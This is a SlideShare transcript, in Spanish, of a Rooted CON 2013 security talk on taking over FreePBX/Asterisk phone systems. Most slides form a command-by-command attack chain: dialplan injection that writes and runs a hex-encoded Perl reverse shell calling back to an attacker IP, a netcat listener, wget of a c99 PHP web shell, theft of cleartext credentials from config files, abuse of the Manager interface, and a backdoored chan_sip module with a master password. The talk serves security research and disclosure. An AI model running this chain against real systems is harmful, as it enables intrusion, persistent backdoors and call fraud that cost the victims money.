Your SlideShare is downloading. ×
0
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×
Saving this for later? Get the SlideShare app to save on your phone or tablet. Read anywhere, anytime – even offline.
Text the download link to your phone
Standard text messaging rates apply

José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]

1,199

Published on

A diferencia de un servicio web o de correo electrónico, una mala gestión de un sistema de VoIP implica pérdidas sustanciales de dinero. En esta charla se verá cómo vulnerar las medidas de seguridad …

A diferencia de un servicio web o de correo electrónico, una mala gestión de un sistema de VoIP implica pérdidas sustanciales de dinero. En esta charla se verá cómo vulnerar las medidas de seguridad de ciertas plataformas de VoIP consiguiendo no sólo realizar llamadas a coste cero sino como podemos lograr adueñarnos completamente de todo el sistema.

0 Comments
4 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total Views
1,199
On Slideshare
0
From Embeds
0
Number of Embeds
1
Actions
Shares
0
Downloads
0
Comments
0
Likes
4
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
No notes for slide

Transcript

  • 1. FreePBX for Fun & ProfitJose Luis Verdeguer (aka Pepelux) @pepeluxx pepeluxx@gmail.com verdeguer@zoonsuite.com http://blog.pepelux.org http://www.zoonsuite.es
  • 2. ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ?FreePBX es una distribución basada en Asterisk.Asterisk es un software libre que realiza funciones de centralita telefónica(el objetivo para una empresa es sustituir a la centralita convencional).
  • 3. ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ?Frente a una centralita convencional, un sistema de VoIP: Es más económico (gratis – sólo requiere un equipo no muy potente). Es mucho más flexible (extensiones ilimitadas, plan de llamadas, etc). Podemos realizar el mantenimiento nosotros mismos.El único “problema” es que requiere unos mínimos conocimientos de seguridad… o puede salirnos muy caro.
  • 4. Características:- Fail2ban que bloquea ataques de fuerza bruta (SSH, HTTP, SIP).- MySQL sin usuarios accesibles desde el exterior.- Obliga a usar contraseñas robustas para las cuentas de la centralita.- Administración por HTTP en claro – FAIL!- La sesión del panel nunca caduca – FAIL! Aparentemente robusto desde el exterior pero … … una vez dentro la seguridad es muy deficiente
  • 5. Supongamos que tenemos acceso a un panel de control de una FreePBX.
  • 6. Supongamos que tenemos acceso a un panel de control de una FreePBX. ¿ Es mucho suponer ?
  • 7. Buscando servidores FreePBX con SIPvicious: Última versión estable: 2.10.1 ////////////////// Fecha escaneo: Febrero/2013 Máquinas vulnerables (<=2.10.0): 22/30 (73%) Web accesible desde Internet: 17/30 (56%)
  • 8. Como decía antes ...Supongamos que tenemos acceso a un panel de control de una FreePBX.
  • 9. Lo que haría cualquier persona con acceso a un panel de una FreePBX sería crearuna extensión para hacer llamadas gratis … hasta que nos pillen.    
  • 10. Lo que haría cualquier persona con acceso a un panel de una FreePBX sería crearuna extensión para hacer llamadas gratis … hasta que nos pillen.También podemos ejecutar comandos de Asterisk desde el CLI … aunque nopermite ejecutar comandos del sistema (como ocurre desde la consola, usando !).    
  • 11. Podemos ver la versión de Asterisk con core show version.O ver las llamadas activas con core show channels.
  • 12. Comando System de Asterisk.
  • 13. Nuestro objetivo: Ejecutar comandos del sistema a través de llamadas telefónicas.Para ello: Vamos a crear una extensión nueva que, tras llamar, ejecute un System(). exten => XXX,1,Answer() exten => XXX,2,System(nuestro comando) exten => XXX,3,Hangup()
  • 14. El problema es que FreePBX está muy limitado a la hora de definir lo que haceuna extensión, ya que se basa en lo permitido a través de la web, gestionado conunos simples formularios.
  • 15. Usando el CLI (Interfaz de Comandos) intentaremos crear una nueva extensiónque nos permita interactuar con el sistema:
  • 16. Usando el CLI (Interfaz de Comandos) intentaremos crear una nueva extensiónque nos permita interactuar con el sistema:Recordemos:
  • 17. Usando el CLI (Interfaz de Comandos) intentaremos crear una nueva extensiónque nos permita interactuar con el sistema:Recordemos:
  • 18. Usando el CLI (Interfaz de Comandos) intentaremos crear una nuevaextensión que nos permita interactuar con el sistema:Sería algo así: Formato: dialplan add extension extensión, prioridad, comando, [dato] into contexto Ejemplo: dialplan add extension 999,1,Answer, into ext-local dialplan add extension 999,2,System,comando_del_sistema into ext-local dialplan add extension 999,3,Hangup, into ext-local
  • 19. Intentaremos inyectar una shell que se guarde en un fichero, usando elcomando System de Asterisk:Trataremos de usar el comando System para crear en el sistema elsiguiente script en Perl y almacenarlo en algún lugar del servidor:use Socket;socket (S, PF_INET, SOCK_STREAM, getprotobyname("tcp"));if (connect (S, sockaddr_in(31337, inet_aton("192.168.2.9")))){ open (STDIN, ">&S"); open (STDOUT, ">&S"); open (STDERR, ">&S"); exec ("/bin/bash -i");}
  • 20. Las líneas a inyectar, a través del CLI, quedarían de la siguiente forma:dialplan add extension 999,1,answer, into ext-localdialplan add extension 999,2,system,"echo -e use Socket; > /tmp/s.pl" into ext-localdialplan add extension 999,3,system,"echo -e socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));>> /tmp/s.pl" into ext-localdialplan add extension 999,4,system,"echo -e if(connect(S,sockaddr_in(31337, >> /tmp/s.pl" into ext-localdialplan add extension 999,5,system,"echo -e inet_aton("192.168.2.9")))){ >> /tmp/s.pl" into ext-localdialplan add extension 999,6,system,"echo -e open(STDIN,">&S"); >> /tmp/s.pl" into ext-localdialplan add extension 999,7,system,"echo -e open(STDOUT,">&S"); >> /tmp/s.pl" into ext-localdialplan add extension 999,8,system,"echo -e open(STDERR,">&S"); >> /tmp/s.pl" into ext-localdialplan add extension 999,9,system,"echo -e exec("/bin/bash -i");} >> /tmp/s.pl" into ext-localdialplan add extension 999,10,hangup, into ext-local
  • 21. El problema es que a través de la web no podemos introducir ciertos caracteres,por lo que hay que codificar la entrada:75 73 65 20 53 6f 63 6b 65 74 3b 0d 0a73 6f 63 6b 65 74 28 53 2c 50 46 5f 49 4e 45 54 2c 53 4f 43 4b 5f 53 54 52 4541 4d 2c 67 65 74 70 72 6f 74 6f 62 79 6e 61 6d 65 28 22 74 63 70 22 29 293b 0d 0a69 66 28 63 6f 6e 6e 65 63 74 28 53 2c 73 6f 63 6b 61 64 64 72 5f 69 6e 28 3331 33 33 37 2c69 6e 65 74 5f 61 74 6f 6e 28 22 31 39 32 2e 31 36 38 2e 32 2e 39 22 29 2929 29 7b 0d 0a6f 70 65 6e 28 53 54 44 49 4e 2c 22 3e 26 53 22 29 3b 0d 0a6f 70 65 6e 28 53 54 44 4f 55 54 2c 22 3e 26 53 22 29 3b 0d 0a6f 70 65 6e 28 53 54 44 45 52 52 2c 22 3e 26 53 22 29 3b 0d 0a65 78 65 63 28 22 2f 62 69 6e 2f 62 61 73 68 20 2d 69 22 29 3b 7d 0d 0a
  • 22. Quedando finalmente:dialplan add extension 999,1,answer, into ext-localdialplan add extension 999,2,system,"echo -e x75x73x65x20x53x6fx63x6bx65x74x3bx0d x0a > /tmp/s.pl" into ext-localdialplan add extension 999,3,system,"echo -e x73x6fx63x6bx65x74x28x53x2cx50x46x5f x49x4ex45x54x2cx53x4fx43x4bx5fx53x54x52x45x41x4dx2cx67x65x74 x70x72x6fx74x6fx62x79x6ex61x6dx65x28x22x74x63x70x22x29x29x3b x0dx0a >> /tmp/s.pl" into ext-localdialplan add extension 999,4,system,"echo -e x69x66x28x63x6fx6ex6ex65x63x74x28 x53x2cx73x6fx63x6bx61x64x64x72x5fx69x6ex28x33x31x33x33x37x2c >> /tmp/s.pl" into ext-localdialplan add extension 999,5,system,"echo -e x69x6ex65x74x5fx61x74x6fx6ex28x22x31 x39x32x2ex31x36x38x2ex32x2ex39x22x29x29x29x29x7bx0dx0a >> /tmp/ s.pl" into ext-localdialplan add extension 999,6,system,"echo -e x6fx70x65x6ex28x53x54x44x49x4ex2c x22x3ex26x53x22x29x3bx0dx0a >> /tmp/s.pl" into ext-localdialplan add extension 999,7,system,"echo -e x6fx70x65x6ex28x53x54x44x4fx55x54x2c x22x3ex26x53x22x29x3bx0dx0a >> /tmp/s.pl" into ext-localdialplan add extension 999,8,system,"echo -e x6fx70x65x6ex28x53x54x44x45x52x52x2c x22x3ex26x53x22x29x3bx0dx0a >> /tmp/s.pl" into ext-localdialplan add extension 999,9,system,"echo -e x65x78x65x63x28x22x2fx62x69x6ex2f x73x68x20x2dx69x22x29x3bx7dx0dx0a >> /tmp/s.pl" into ext-localdialplan add extension 999,10,hangup, into ext-local
  • 23. Una vez realizada la inyección de la nueva extensión en eldialplan, como tenemos acceso al panel, nos creamos unacuenta para poder realizar llamadas.Configuramos un softphone con esa cuenta.Llamamos por teléfono a la extensión 999 para ejecutar el plande llamadas y crear nuestro script.
  • 24. Una vez realizada la inyección de la nueva extensión en eldialplan, como tenemos acceso al panel, nos creamos unacuenta para poder realizar llamadas.Configuramos un softphone con esa cuenta.Llamamos por teléfono a la extensión 999 para ejecutar el plande llamadas y crear nuestro script.Tras la llamada, tendremos el script en el sistema(almacenado como /tmp/s.pl).
  • 25. Ahora creamos otro plan de llamadas para ejecutarlo:- Recargamos el dialplan para borrar la extensión 999: dialplan reload  - Volvemos a crear la extensión: dialplan add extension 999,1,Answer, into ext-local   dialplan add extension 999,2,System,"perl /tmp/s.pl" into ext-local dialplan add extension 999,3,Hangup, into ext-local
  • 26. Dejamos una terminal a la escucha con Netcat en nuestro equipo: pepelux@debian$ nc -l -p 31337Llamamos por teléfono a la extensión 999 para ejecutar nuestro script.
  • 27. Automatizando el proceso (script 1)
  • 28. Automatizando el proceso (script 1)Pasos a seguir:1 - Creamos un plan de llamadas para crear el script con la shell:pepelux@debian$ perl freepbx.pl -h 192.168.2.20 -u admin -p web01 -cs -ip 192.168.2.92 – Llamamos por teléfono para ejecutarlo.3 - Creamos un plan de llamadas para ejecutar el script:pepelux@debian$ perl freepbx.pl -h 192.168.2.20 -u admin -p web01 -es4 – Ponemos una terminal a la escucha con Netcat:pepelux@debian$ nc -l -p 313375 – Llamamos por teléfono para ejecutarlo.
  • 29. Automatizando el proceso (script 2)
  • 30. Automatizando el proceso (script 2)Pasos a seguir:1 – Ponemos un terminal a la escucha con Netcat:pepelux@debian$ nc -l -p 313372 – Lanzamos el script:pepelux@debian$ perl freepbx.pl -h 192.168.2.20 -u admin -p web01 -auto - call -user 206 -pass 123456asd
  • 31. ¡¡ Veamos un caso práctico !! DEMO(con la última versión de FreePBX: 2.210.62 – del 24/01/2013)
  • 32. ¿Quiénes somos y dónde estamos? sh-4.1$ whoami asterisk sh-4.1$ id uid=uid=498(asterisk) gid=498(asterisk) groups=498(asterisk) sh-4.1$ uname -a; cat /etc/issue /proc/version uname -a; cat /etc/issue /proc/version Linux localhost.localdomain 2.6.32-220.13.1.el6.i686 #1 SMP Tue Apr 17 22:09:08 BST 2012 i686 i686 i386 GNU/Linux CentOS release 6.2 (Final) Kernel r on an m Linux version 2.6.32-220.13.1.el6.i686 (mockbuild@c6b6.bsys.dev.centos.org) (gcc version 4.4.6 20110731 (Red Hat 4.4.6-3) (GCC) ) #1 SMP Tue Apr 17 22:09:08 BST 2012
  • 33. Analicemos los servicios
  • 34. Algunos comandos:sh-4.1$ mysql -D mysql -u root -e "show databases"sh-4.1$ mysql -D mysql -u root -e "show tables"sh-4.1$ mysql -D mysql -u root -e "select Host,User,Password from user"
  • 35. Algunos comandos: ¿ Veis algo extraño ?sh-4.1$ mysql -D mysql -u root -e "show databases"sh-4.1$ mysql -D mysql -u root -e "show tables"sh-4.1$ mysql -D mysql -u root -e "select Host,User,Password from user"
  • 36. Algunos comandos: ¿ Veis algo extraño ?sh-4.1$ mysql -D mysql -u root -e "show databases"sh-4.1$ mysql -D mysql -u root -e "show tables"sh-4.1$ mysql -D mysql -u root -e "select Host,User,Password from user" El usuario root NO tiene contraseña!!
  • 37. Podemos darnos acceso desde el exterior:sh-4.1$ mysql -D mysql -u root -e "grant select,insert,drop on asterisk.* to pepelux@192.168.2.9 identified by mipass123;" -pY acceder desde nuestra máquina:pepelux@debian$ mysql -h 192.168.2.20 -u pepelux -pEnter password:Welcome to the MySQL monitor. Commands end with ; or g.Your MySQL connection id is 184Server version: 5.1.61 Source distribution…..Type help; or h for help. Type c to clear the current input statement.mysql>
  • 38. ¿Y si el administrador ha puesto una contraseña a la cuenta de root?
  • 39. ¿Y si el administrador ha puesto una contraseña a la cuenta de root?En el fichero /etc/freepbx.conf (propiedad del usuario asterisk) tenemos la contraseña de freepbxuser, en claro!sh-4.1$ cat /etc/freepbx.conf<?php$amp_conf[AMPDBUSER] = freepbxuser;$amp_conf[AMPDBPASS] = zy3upb0mHK9U;$amp_conf[AMPDBHOST] = localhost;$amp_conf[AMPDBNAME] = asterisk;$amp_conf[AMPDBENGINE] = mysql;...
  • 40. sh-4.1$ mysql -D asterisk -u freepbxuser -e "show tables" -pEnter password:
  • 41. Echemos un ojo a la web:sh-4.1$ ls /var/www/html/admin -la
  • 42. Echemos un ojo a la web:sh-4.1$ ls /var/www/html/admin -la ¿ Veis algo extraño ?
  • 43. Echemos un ojo a la web:sh-4.1$ ls /var/www/html/admin -la ¿ Veis algo extraño ? Soy el propietario de la web!!
  • 44. ¿Qué tal si subimos una shell?sh-4.1$ cd /var/www/htmlsh-4.1$ wget 192.168.2.9/freepbx/c99.txtsh-4.1$ mv c99.txt c99.php
  • 45. ¿Qué tal si subimos una shell?sh-4.1$ cd /var/www/htmlsh-4.1$ wget 192.168.2.9/freepbx/c99.txtsh-4.1$ mv c99.txt c99.php
  • 46. ¿O si hacemos un ataque David Hasselhoff?
  • 47. Es posible que hayamos accedido al sistema a través de un bug y noconozcamos la contraseña del administrador … si lo actualizan,perderemos el acceso …
  • 48. Es posible que hayamos accedido al sistema a través de un bug y noconozcamos la contraseña del administrador … si lo actualizan,perderemos el acceso …Además, la contraseña en la BBDD no está en claro ...sh-4.1$ mysql -u root -D asterisk -e "select username, password_sha1 from ampusers"
  • 49. ¡¡¡ no hay problema !!!… en /etc/amportal.conf (propiedad del usuario asterisk) está toda la configuración de FreePBX.sh-4.1$ cat /etc/amportal.conf | grep PASSAMPMGRPASS=amp111CDRDBPASS=ARI_ADMIN_PASSWORD=web01AMPDBPASS=zy3upb0mHK9U
  • 50. ¡¡¡ no hay problema !!!… en /etc/amportal.conf (propiedad del usuario asterisk) está toda la configuración de FreePBX.sh-4.1$ cat /etc/amportal.conf | grep PASSAMPMGRPASS=amp111CDRDBPASS=ARI_ADMIN_PASSWORD=web01 ← Contraseña en claro del administradorAMPDBPASS=zy3upb0mHK9U
  • 51. Veamos los ficheros de configuración ...sh-4.1$ ls -la /etc/asterisk
  • 52. Veamos los ficheros de configuración ...sh-4.1$ ls -la /etc/asterisk ¿ Veis algo extraño ?
  • 53. Veamos los ficheros de configuración ...sh-4.1$ ls -la /etc/asterisk ¿ Veis algo extraño ? Soy el propietario de Asterisk!!
  • 54. ¿Qué tal si usamos el servicio Manager, que por defecto viene activo?sh-4.1$ cat /etc/asterisk/manager.conf[general]enabled = yesport = 5038bindaddr = 0.0.0.0displayconnects=no ;only effects 1.6+[admin]secret = amp111deny=0.0.0.0/0.0.0.0permit=127.0.0.1/255.255.255.0read = system,call,log,verbose,command,agent,user,config,command,dtmf,reporting,cdr,dialplan,originatewrite = system,call,log,verbose,command,agent,user,config,command,dtmf,reporting,cdr,dialplan,originate
  • 55. Ya que tenemos el control de la web, nos creamos una página“atractiva” en algún lugar oculto ...
  • 56. Y la conectamos con el servicio Manager de la FreePBX ...$sc = fsockopen(“localhost”, 5038, $errnum, $errdesc) or die(“Connection failed”);fputs($sc, “Action: loginrn”);fputs($sc, “Events: offrn”);fputs($sc, “Username: adminrn”);fputs($sc, “Secret: amp111rnrn”);fputs($sc, “Action: originatern”);fputs($sc, “Channel: LOCAL/$MI_TELEFONO@ext-localrn”);fputs($sc, “WaitTime: 30rn”);fputs($sc, “Exten: $TFNO_DE_MI_AMIGOrn”);fputs($sc, “Context: ext-localrn”);fputs($sc, “Priority: 1rnrn”);fputs($sc, “Action: logoffrnrn”);sleep(3);fclose($sc);
  • 57. Además, el servicio Manager NO está bloqueado ante accesos externos ...pepelux@debian ~$ nmap 192.168.2.11 -p5038Starting Nmap 5.21 ( http://nmap.org ) at 2013-01-22 18:21 CETNmap scan report for 192.168.2.11Host is up (0.000054s latency).PORT STATE SERVICE5038/tcp open unknownSi modificamos manager.conf permitiendo el acceso desde cualquier lugar ...permit=0.0.0.0/0.0.0.0Podremos ejecutar comandos de Asterisk remotamente …pepelux@debian:~$ exec 3<>/dev/tcp/localhost/5038 && echo -e "Action: LoginnUsername:admin nSecret:amp111nEvents: offnnAction: CommandnCommand: sip show peersnnAction: Logoffnn" >&3 && cat <&3
  • 58. A ver los módulos ...sh-4.1$ ls -la /usr/lib/asterisk/modules/
  • 59. A ver los módulos ...sh-4.1$ ls -la /usr/lib/asterisk/modules/ Bueno, al menos son propiedad de root!!! parece que no los podemos modificar ...
  • 60. ¿ O sí que podemos ?
  • 61. ¿ O sí que podemos ?Porque si el fichero /etc/asterisk/asterisk.conf, donde se indica la ruta de los módulos, es propiedad del usuario asterisk …
  • 62. ¿ O sí que podemos ?Porque si el fichero /etc/asterisk/asterisk.conf, donde se indica la ruta de los módulos, es propiedad del usuario asterisk … ¿ Qué nos impide copiar los módulos en otra ruta y modificar asterisk.conf ?
  • 63. Buscamos un directorio con permisos de escritura y copiamos los módulos:sh-4.1$ mkdir /var/lib/asterisk/moh/modulessh-4.1$ cp /usr/lib/asterisk/modules/* /var/lib/asterisk/moh/modules/
  • 64. Modificamos el fichero asterisk.conf cambiando la ruta de los módulos:sh-4.1$ cd /etc/asterisksh-4.1$ mv asterisk.conf asterisk.conf.copsh-4.1$ echo "[directories]">asterisk.confsh-4.1$ echo "astetcdir => /etc/asterisk">>asterisk.confsh-4.1$ echo "astmoddir => /var/lib/asterisk/moh/modules">>asterisk.confsh-4.1$ echo "astvarlibdir => /var/lib/asterisk">>asterisk.confsh-4.1$ echo "astagidir => /var/lib/asterisk/agi-bin">>asterisk.confsh-4.1$ echo "astspooldir => /var/spool/asterisk">>asterisk.confsh-4.1$ echo "astrundir => /var/run/asterisk">>asterisk.confsh-4.1$ echo "astlogdir => /var/log/asterisk">>asterisk.confsh-4.1$ echo "[options]">>asterisk.confsh-4.1$ echo "transmit_silence_during_record = yes">>asterisk.confsh-4.1$ echo "languageprefix=yes">>asterisk.confsh-4.1$ echo "execincludes=yes">>asterisk.conf
  • 65. Reiniciamos el Asterisk ...sh-4.1$ asterisk -rx "core restart when convenient"
  • 66. Reiniciamos el Asterisk ...sh-4.1$ asterisk -rx "core restart when convenient"Verificamos qué módulos hay en uso ...sh-4.1$ fuser -v /usr/lib/asterisk/modules/res_curl.sosh-4.1$ fuser -v /var/lib/asterisk/moh/modules/res_curl.soUSER PID ACCESS COMMAND/var/lib/asterisk/moh/modules/res_curl.so:asterisk 2565 ....m asterisk
  • 67. Y digo yo …
  • 68. Y digo yo … Si Asterisk es de código libre y somos capaces decambiar un módulo en la FreePBX ...
  • 69. Y digo yo … Si Asterisk es de código libre y somos capaces decambiar un módulo en la FreePBX ...¿Qué tal si modificamos chan_sip.c (encargado de validar los peers) ycreamos una contraseña maestra, por código, que valide a cualquierusuario, y luego sustituimos nuestro chan_sip.so por el original?
  • 70. Función de chan_sip.c que valida el registro de los peers:/*! brief Check user authorization from peer definitionSome actions, like REGISTER and INVITEs from peers requireauthentication (if peer have secret set) return 0 on success, non-zero on error*/static enum check_auth_result check_auth(struct sip_pvt *p, struct sip_request*req, const char *username,const char *secret, const char *md5secret, int sipmethod,const char *uri, enum xmittype reliable, int ignore){….......}
  • 71. Validación del peer:if (!ast_strlen_zero(md5secret)) { ast_copy_string(a1_hash, md5secret, sizeof(a1_hash)); }else { char a1[256]; snprintf(a1, sizeof(a1), "%s:%s:%s", username, p->realm, secret); ast_md5_hash(a1_hash, a1);}/* compute the expected response to compare with what we received */{ char a2[256]; char a2_hash[256]; char resp[256]; snprintf(a2, sizeof(a2), "%s:%s", sip_methods[sipmethod].text, S_OR(keys[K_URI].s, uri)); ast_md5_hash(a2_hash, a2); snprintf(resp, sizeof(resp), "%s:%s:%s", a1_hash, usednonce, a2_hash); ast_md5_hash(resp_hash, resp);}good_response = keys[K_RESP].s && !strncasecmp(keys[K_RESP].s, resp_hash, strlen(resp_hash));
  • 72. Añadiendo estas pocas líneas permitiremos que cualquier usuario validecon la contraseña 31337:if (good_response == 0) { char a1[256], char a2[256]; char a2_hash[256]; char resp[256]; strcpy(secret, "31337"); snprintf(a1, sizeof(a1), "%s:%s:%s", username, p->realm, secret); ast_md5_hash(a1_hash, a1); snprintf(a2, sizeof(a2), "%s:%s", sip_methods[sipmethod].text, S_OR(keys[K_URI].s, uri)); ast_md5_hash(a2_hash, a2); snprintf(resp, sizeof(resp), "%s:%s:%s", a1_hash, usednonce, a2_hash); ast_md5_hash(resp_hash, resp); good_response = keys[K_RESP].s && !strncasecmp(keys[K_RESP].s, resp_hash, strlen(resp_hash));}
  • 73. Compilamos en nuestra máquina el módulo y lo subimos al servidor deFreePBX:sh-4.1$ cd /var/lib/asterisk/moh/modules/sh-4.1$ rm chan_sip.sosh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so
  • 74. Compilamos en nuestra máquina el módulo y lo subimos al servidor deFreePBX:sh-4.1$ cd /var/lib/asterisk/moh/modules/sh-4.1$ rm chan_sip.sosh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.soRecargamos el módulo ...sh-4.1$ asterisk -rx "module unload chan_sip.so"sh-4.1$ asterisk -rx "module load chan_sip.so"
